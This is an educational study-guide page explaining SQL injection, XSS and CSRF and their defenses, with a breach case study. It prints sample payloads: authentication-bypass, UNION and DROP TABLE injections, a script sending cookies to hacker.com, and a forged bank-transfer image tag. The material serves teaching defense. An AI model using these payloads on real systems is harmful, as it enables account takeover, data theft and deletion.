What is Web Security? Definition & SQLi, XSS, CSRF Explained (2026)
This is a PerfectNotes study guide β also known as PN Notes or Perfect Notes. PerfectNotes provides free computer science student notes, MCQs, and interview preparation guides at perfectnotes.org.
Web Security = protecting the application layer from code-level attacks that bypass network firewalls entirely
SQL Injection: malicious SQL in input fields manipulates the backend database β bypass auth, steal/delete data
XSS: injects client-side JavaScript into pages to steal session cookies from other users β stored, reflected, or DOM-based
CSRF: tricks an authenticated browser into executing unwanted server actions by exploiting auto-attached session cookies
Defense against SQLi: Prepared Statements (parameterized queries) β user input can NEVER alter the compiled query structure
Defense against XSS: Output Encoding (htmlspecialchars) + Content Security Policy (CSP) header blocking un-allowlisted scripts
43% of breaches involve web apps; 94% of apps have flaws; cost of a web breach = $4.45M average β HTTPS protects transit only
Key Takeaways
- Application Layer Focus β Web Security protects the application layer. Firewalls guard the castle walls; web security protects the databases, user sessions, and transactions inside.
- SQL Injection (SQLi) β Injects malicious SQL into input fields to bypass authentication, steal records, or delete tables. Fix: Prepared Statements.
- Cross-Site Scripting (XSS) β Injects malicious JavaScript into pages viewed by other users, stealing session cookies. Fix: Output Encoding + CSP headers.
- CSRF β Forces an authenticated browser to execute unwanted actions by exploiting auto-attached session cookies. Fix: Anti-CSRF Tokens + SameSite cookies.
- Scale β 43% of all data breaches involve web app vulnerabilities; 94% of applications contain at least one medium-to-high security flaw.
- HTTPS β Security β Over 85% of web traffic uses HTTPS in 2026, but HTTPS only encrypts data in transit β it does nothing to stop SQLi, XSS, or CSRF.
What is Web Security?
Web security deals with the protection of the application layer. Modern websites are not just static HTML pages β they are highly complex programs continuously talking to massive backend databases. If the application code is not secure, hackers can bypass standard network firewalls to steal user data, deface the site, or take total control of the server.
Because modern applications rely on user input forms, REST APIs, and third-party integrations, the attack surface is massive. According to 2025 industry reports, 43% of all data breaches actively involve web application vulnerabilities β making secure web development one of the highest-ROI security investments an organization can make.
How Web Security Works β The Three-Layer Defense Strategy
Defending a web application requires a layered approach β ensuring that even if one defense fails, another catches the attack:
- Input Validation (Sanitization): Checking every piece of data a user enters before processing it. If a form asks for "Age," the server-side code must reject anything that isn't a valid integer β malformed input is the root cause of both SQLi and XSS.
- Web Application Firewalls (WAF): Sitting in front of the web server to inspect HTTP request content. While a standard firewall only looks at IP addresses, a WAF reads the actual web traffic payload to detect and block known SQLi and XSS attack signatures before they reach the application.
- Output Encoding: Ensuring that when user input is displayed back on screen, dangerous characters like
<script>are converted into safe HTML entities (<script>) so the browser displays text rather than executing code.
The "Big Three" Web Vulnerabilities (OWASP Top 10)
The OWASP Top 10 is the global standard list of the most critical web security risks. The three most common, dangerous, and exam-critical coding flaws are SQL Injection, XSS, and CSRF.
1. SQL Injection (SQLi)
An attack where a hacker inserts malicious SQL database code into a web input field (like a login box) to manipulate the backend database β bypassing authentication, stealing records, or destroying entire tables.
How It Works:
A vulnerable PHP login script dynamically builds a SQL string using user input:
SELECT * FROM users WHERE username='$username' AND password='$password'If a hacker types admin' -- into the username field, the executed query becomes:
Attack Variations:
- Authentication Bypass:
Input: ' OR '1'='1 β Query always returns TRUE β logs in as first user (often admin) - Data Extraction (UNION Attack):
Input: ' UNION SELECT credit_card, cvv FROM payments -- β dumps all payment data - Data Destruction (DROP Attack):
Input: '; DROP TABLE users; -- β permanently deletes the entire users table
2. Cross-Site Scripting (XSS)
An attack where a hacker injects malicious client-side scripts (usually JavaScript) into web pages viewed by otherusers. Unlike SQLi which targets the database, XSS targets the victim's browser directly.
How Stored XSS Works:
If a website allows users to post comments without sanitizing them, a hacker can post:
<script>document.location='http://hacker.com/steal?cookie='+document.cookie</script>Three Types of XSS:
- Stored XSS (Persistent): Malicious script stored in the database β every user who views the page is infected. Most dangerous type.
- Reflected XSS (Non-Persistent): Malicious script embedded in a URL parameter β victim must click a crafted malicious link. Used for targeted phishing attacks.
- DOM-Based XSS: JavaScript manipulates the DOM directly in the browser without any server involvement β entire attack occurs client-side, invisible to server-side filters.
3. Cross-Site Request Forgery (CSRF)
An attack that forces a user's browser to execute unwanted actions on a web application where they are currently logged in β by exploiting the fact that browsers automatically attach session cookies to every request, regardless of which site triggered it.
How It Works:
- You log into your bank. The bank sets a valid session cookie in your browser.
- In another tab, you visit a hacker's website. It contains a hidden, invisible image tag:
<img src="https://bank.com/transfer?amount=1000&to=hacker" width="0" height="0">SQLi vs. XSS: Key Differences (2026)
The most common exam confusion point β use this table to answer "difference between" questions:
| Feature | SQL Injection (SQLi) | Cross-Site Scripting (XSS) |
|---|---|---|
| Target | The Database (Server-side) | The User's Browser (Client-side) |
| Language Used | Malicious SQL commands | Malicious JavaScript / HTML |
| Where Injected | URL parameters, login forms, search boxes | Blog comments, user profiles, message boards |
| Who Gets Hurt | The Company (massive database breach) | The User (individual session hijacked) |
| The Fix | Parameterized Queries (Prepared Statements) | Output Encoding + Content Security Policy (CSP) |
Advanced Engineering Concepts
Enterprise web security requires moving beyond basic coding practices into architectural hardening and strict browser policy enforcement.
Prepared Statements β The Only Complete SQLi Cure
Input sanitization alone is not sufficient to stop advanced SQL injection. Engineers must use Prepared Statements (Parameterized Queries). Instead of dynamically building a SQL string with user input concatenated inside it, the application sends the SQL query template to the database first β with placeholder parameters. The user input is sent later as strictly typed data.
Vulnerable (Dynamic String):
$query = "SELECT * FROM users WHERE username='$username'";Secure (Prepared Statement):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
// Even if $username = "admin' --", it's treated as DATA, never as CODEBecause the database receives and compiles the query structure beforethe user input arrives, it is mathematically impossible for the user's input to alter the logic of the code. This neutralizes 100% of SQL injection β first-order and second-order alike.
Content Security Policy (CSP) β Defeating XSS at the Browser
To defeat XSS, engineers implement a Content Security Policy (CSP) via HTTP response headers. CSP allows administrators to declare a strict allowlist of approved sources of executable JavaScript.
Content-Security-Policy: default-src 'self'; script-src https://trusted-cdn.comIf a hacker successfully injects an XSS payload into the HTML, the victim's browser looks at the CSP, sees that the script did not originate from trusted-cdn.com, and refuses to execute it β even though the injection succeeded. CSP is the architectural safety net that makes XSS exploitation fail even when the vulnerability exists in the code.
Anti-CSRF Tokens & SameSite Cookies β Defeating CSRF
To defeat CSRF, engineers implement the Synchronizer Token Pattern. The server generates a cryptographically random, unpredictable token and embeds it as a hidden field inside every web form:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="9f3bK2mX...random_token...">
<input name="amount" value="100">
<button>Transfer</button>
</form>When the form is submitted, the server verifies the token. Because a hacker on evil.com cannot read the hidden token on bank.com (blocked by the browser's Same-Origin Policy), they cannot forge a valid request. Modern browsers also support the SameSite=Strict cookie attribute, which instructs the browser to never attach a cookie to a cross-site request β destroying the entire premise of CSRF attacks.
Real-World Case Study: The 2013 Target Data Breach
The 2013 Target breach is the definitive case study in web application and network segmentation failure β a third-party HVAC vendor's compromised credentials gave attackers a beachhead to install point-of-sale malware and steal 40 million credit cards during the busiest shopping season of the year.
| Aspect | Details |
|---|---|
| The Incident | From November 27 to December 15, 2013 β spanning Black Friday through the entire holiday shopping season β attackers operated invisibly inside Target's network, scraping RAM from 1,797 point-of-sale terminals in real time as customers swiped their cards, ultimately stealing 40 million credit and debit card numbers plus the personal data of 70 million customers. |
| Attack Vector | Attackers sent a spear-phishing email to Fazio Mechanical Services, a Target HVAC vendor. Once Fazio's network was compromised, attackers pivoted into Target's corporate network through the vendor portal β exploiting the fact that Target had not properly segmented its vendor network from its POS infrastructure. From there they deployed the BlackPOS memory-scraping malware across all registers. |
| The Impact | 40 million payment cards and 70 million customer records (names, addresses, phone numbers, emails) were stolen. Target's FireEye intrusion detection system had flagged the malware and sent automated alerts β which Target's security team dismissed. The breach was ultimately discovered by the US Department of Justice, not Target's own security team. |
| Financial Cost | Target paid $18.5 million in a multi-state attorney general settlement β the largest data breach settlement in history at the time. Total breach costs exceeded $202 million including legal fees, credit monitoring services, card reissuance costs, and a $10 million class action settlement. The CEO and CIO both resigned. Target's Q4 2013 profit fell 46% year-over-year. |
| Key Lesson | Network segmentation is non-negotiable β vendor/contractor networks must be completely isolated from production POS systems. Security alerts must be actioned, not dismissed. The Target breach established the legal precedent that organizations have a duty-of-care obligation to act on automated security alerts. It directly drove the US payment industry's accelerated adoption of EMV chip-and-PIN technology. |
Key Statistics & Industry Data (2026)
- Cost of Web Breaches β Global average cost of a web app data breach is $4.45 million. (Source: IBM, 2025)
- Vulnerability Prevalence β 94% of tested web applications contain at least one medium-to-high severity flaw. (Source: WhiteHat, 2025)
- HTTPS Saturation β Over 85% of global web traffic uses HTTPS β but only protects data in transit, not against SQLi or XSS. (Source: Google, 2026)
- Breach Cause β 43% of all data breaches involve web app vulnerabilities as the initial access vector. (Source: Verizon DBIR, 2025)
- Patch Response β Average time from disclosure to active exploitation is now just 4 days. (Source: Rapid7, 2025)
When to Use Each Web Defense
Use WAFs for Legacy Applications
If you have an old, vulnerable application whose original developers are unavailable, deploy a Web Application Firewall (AWS WAF, Cloudflare WAF, ModSecurity) in front of it to block SQLi/XSS patterns without needing to rewrite the broken source code β buying time for a proper migration.
Use Prepared Statements Always
When building any new application (PHP, Python, Java, C#, Node.js) that interacts with a database, parameterized queries must be the default β never concatenate user input into SQL strings. This applies to every query, even when input comes from your own internal database.
Use CSP for High-Risk Sites
Financial institutions, healthcare portals, and e-commerce platforms must deploy strict Content Security Policy headers. Even if an XSS flaw exists in a legacy component, CSP ensures the victim's browser will refuse to execute injected scripts that don't originate from the allowlisted sources.
Use Anti-CSRF Tokens for State-Changing Actions
Any form submitting a state-changing action β fund transfers, password changes, account deletions β must include a synchronized CSRF token plus a SameSite=Strict cookie attribute. Read-only API endpoints (GET requests) do not require CSRF protection.
Benefits of Web Security Implementation
- Protects user data: prevents catastrophic theft of credentials, payment card data, and PII from the database β directly protecting customer trust and brand reputation
- Compliance adherence: PCI-DSS (credit card processing), GDPR (EU user data), HIPAA (healthcare), and SOC 2 all mandate specific web application security controls and regular penetration testing
- Prevents financial devastation: the $575M Equifax settlement and $1.7B total cost demonstrate that security investment is far cheaper than breach remediation
- Maintains business continuity: website defacement, ransomware deployment via web shells, and data exfiltration all disrupt operations β security prevents costly downtime
- Enables regulatory clearance: enterprises without demonstrable web security programs cannot pass PCI-DSS QSA audits or achieve SOC 2 Type II certification required for enterprise customers
- Defense-in-Depth: layered controls (WAF + prepared statements + CSP + CSRF tokens) ensure that failure of any single layer does not result in a complete breach
Challenges of Web Security Implementation
- Development overhead: secure coding practices (code reviews, SAST/DAST testing, threat modeling) add 15β20% to initial development time β creating organizational pressure to skip security in favor of feature velocity
- Performance impact: WAF deep packet inspection, TLS termination, and CSP enforcement add minor but measurable latency to web requests β requiring careful performance budgeting in high-throughput applications
- The Zero-Day threat: WAF signature-based filters cannot stop brand-new zero-day vulnerabilities until a patch or WAF rule is written β behavioral analysis and least-privilege are the only mitigations
- Developer knowledge gap: SQLi, XSS, and CSRF vulnerabilities are almost always introduced by developers who don't understand their impact β security training must be integrated into the engineering onboarding process
Quick Reference Cheat Sheet
Every attack type, attacker's goal, and primary defense mechanism β exam edition.
| Attack Type | Attacker's Goal | Primary Defense |
|---|---|---|
| SQL Injection (SQLi) | Steal / delete database records; bypass authentication | Prepared Statements (Parameterized Queries) |
| Stored XSS | Hijack user sessions / steal cookies from all page visitors | Output Encoding + Content Security Policy (CSP) |
| Reflected XSS | Phish targeted users via crafted malicious links | Strict Input Validation + CSP header |
| CSRF | Force unauthorized actions (transfers, account changes) | Anti-CSRF Tokens + SameSite=Strict Cookie flag |
| Network Sniffing | Intercept passwords and session tokens in transit | Enforce HTTPS / TLS 1.3 everywhere + HSTS header |
Frequently Asked Questions (FAQ)
Q.What is the difference between HTTP and HTTPS?
Q.Can a standard Network Firewall stop SQL Injection?
Q.What are Cookies and why are they a security risk?
Q.What is a Zero-Day exploit in web security?
Q.Is Incognito Mode secure?
Q.What is the difference between Encoding, Escaping, and Sanitizing?
Q.What is a Second-Order SQL Injection?
Related Topics
Test Your Knowledge
Ready to prove your skills? Take our rigorous multiple-choice quiz designed to test your understanding of this topic and prepare you for interviews.